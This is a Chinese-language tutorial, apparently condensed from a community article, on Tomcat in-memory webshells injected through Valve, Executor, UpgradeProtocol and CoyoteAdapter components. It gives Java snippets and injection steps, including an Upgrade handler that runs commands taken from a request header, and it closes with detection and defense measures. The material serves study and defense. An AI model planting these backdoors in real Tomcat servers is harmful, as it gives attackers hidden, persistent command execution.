Tomcat Valve/Executor/Upgrade/Adapter内存马分析与思考
字数 1471
更新时间 2026-01-31 12:04:28
Tomcat内存马分析与防御教学文档
一、概述
本文档基于对Tomcat Valve/Executor/Upgrade/Adapter四种内存马的深入分析,提供完整的技术原理、实现方法和防御方案。
二、Tomcat架构基础
2.1 容器架构(Container)
Tomcat包含四级核心容器:
- Engine:引擎,管理多个虚拟站点
- Host:虚拟主机,部署多个Web应用
- Context:Web应用程序,包含多个Servlet
- Wrapper:单个Servlet的封装
处理流程:Engine → Host → Context → Wrapper → Servlet
2.2 管道阀门机制(Pipeline & Valve)
- Pipeline:每个容器内部的请求处理管道
- Valve:责任链模式实现,插入自定义处理逻辑
- Basic Valve:每个Pipeline的基础阀门,负责传递到下一层容器
2.3 连接器架构(Connector)
核心组件:
- EndPoint:网络I/O处理(NioEndpoint/Nio2Endpoint/AprEndpoint)
- Processor:协议解析(Http11Processor/AjpProcessor)
- Adapter:协议转换(CoyoteAdapter)
三、Valve内存马
3.1 技术原理
利用Pipeline的动态添加Valve机制,通过继承ValveBase重写invoke方法注入恶意代码。
3.2 关键代码实现
public class EvilValve extends ValveBase {
@Override
public void invoke(Request req, Response resp) throws IOException {
// 恶意代码执行
Runtime.getRuntime().exec("calc");
}
}
// 注入代码
StandardContext.getPipeline().addValve(evilValve);
3.3 注入步骤
- 获取StandardContext对象
- 通过getPipeline()获取Pipeline实例
- 调用addValve()添加恶意Valve
四、Executor内存马
4.1 技术原理
替换Tomcat线程池Executor,在请求处理入口插入恶意代码。
4.2 关键注入点
- 位置:EndPoint → Poller → Executor线程池
- 方法:通过setExecutor替换原始线程池
4.3 实现代码
// 构造恶意Executor
Executor evilExecutor = new Executor() {
@Override
public void execute(Runnable command) {
Runtime.getRuntime().exec("calc.exe");
original.execute(command); // 维持正常业务
}
};
// 获取并替换NioEndpoint的Executor
Method setExecutorMethod = nioEndpoint.getClass().getMethod("setExecutor", Executor.class);
setExecutorMethod.invoke(nioEndpoint, evilExecutor);
五、Upgrade内存马
5.1 技术原理
利用HTTP协议升级机制,通过恶意UpgradeProtocol在协议协商时执行代码。
5.2 关键实现
class EvilUpgrade implements UpgradeProtocol {
@Override
public boolean accept(Request request) {
String cmd = request.getHeader("cmd");
Runtime.getRuntime().exec(cmd); // 命令执行
return false; // 阻止正常升级流程
}
// 其他方法空实现...
}
// 注入到ProtocolHandler
upgradeProtocols.put("evil", evilUpgrade);
5.3 触发条件
HTTP请求头需包含:
Upgrade: evil
cmd: calc
Connection: upgrade
六、Adapter内存马
6.1 技术原理
替换CoyoteAdapter,在协议转换阶段插入恶意代码。
6.2 实现方案
class EvilAdapter extends CoyoteAdapter {
public EvilAdapter(Connector connector) {
super(connector);
}
@Override
public void service(Request req, Response res) throws Exception {
Runtime.getRuntime().exec("calc.exe"); // 恶意代码
super.service(req, res); // 维持正常功能
}
}
七、检测与防御方案
7.1 检测方法
- Valve检测:监控Pipeline中的Valve数量变化
- Executor检测:检查线程池实现类是否被替换
- Upgrade检测:审计httpUpgradeProtocols映射表
- Adapter检测:验证Adapter实例的类类型
7.2 防御措施
- 权限控制:限制Web应用对Tomcat内部组件的访问
- 代码审计:定期检查关键组件的实现类
- 监控告警:实时监控Pipeline、Executor等核心组件变化
- 安全加固:禁用不必要的协议升级功能
八、总结
四种内存马分别针对Tomcat架构的不同层次,从容器层面的Valve到连接器层面的Executor/Upgrade/Adapter,攻击面覆盖全面。防御需要多层次的安全防护,包括运行时检测、权限控制和持续监控。
本文档基于先知社区《Tomcat Valve/Executor/Upgrade/Adapter内存马分析与思考》技术文章整理而成,保留了原技术分析的完整性和准确性。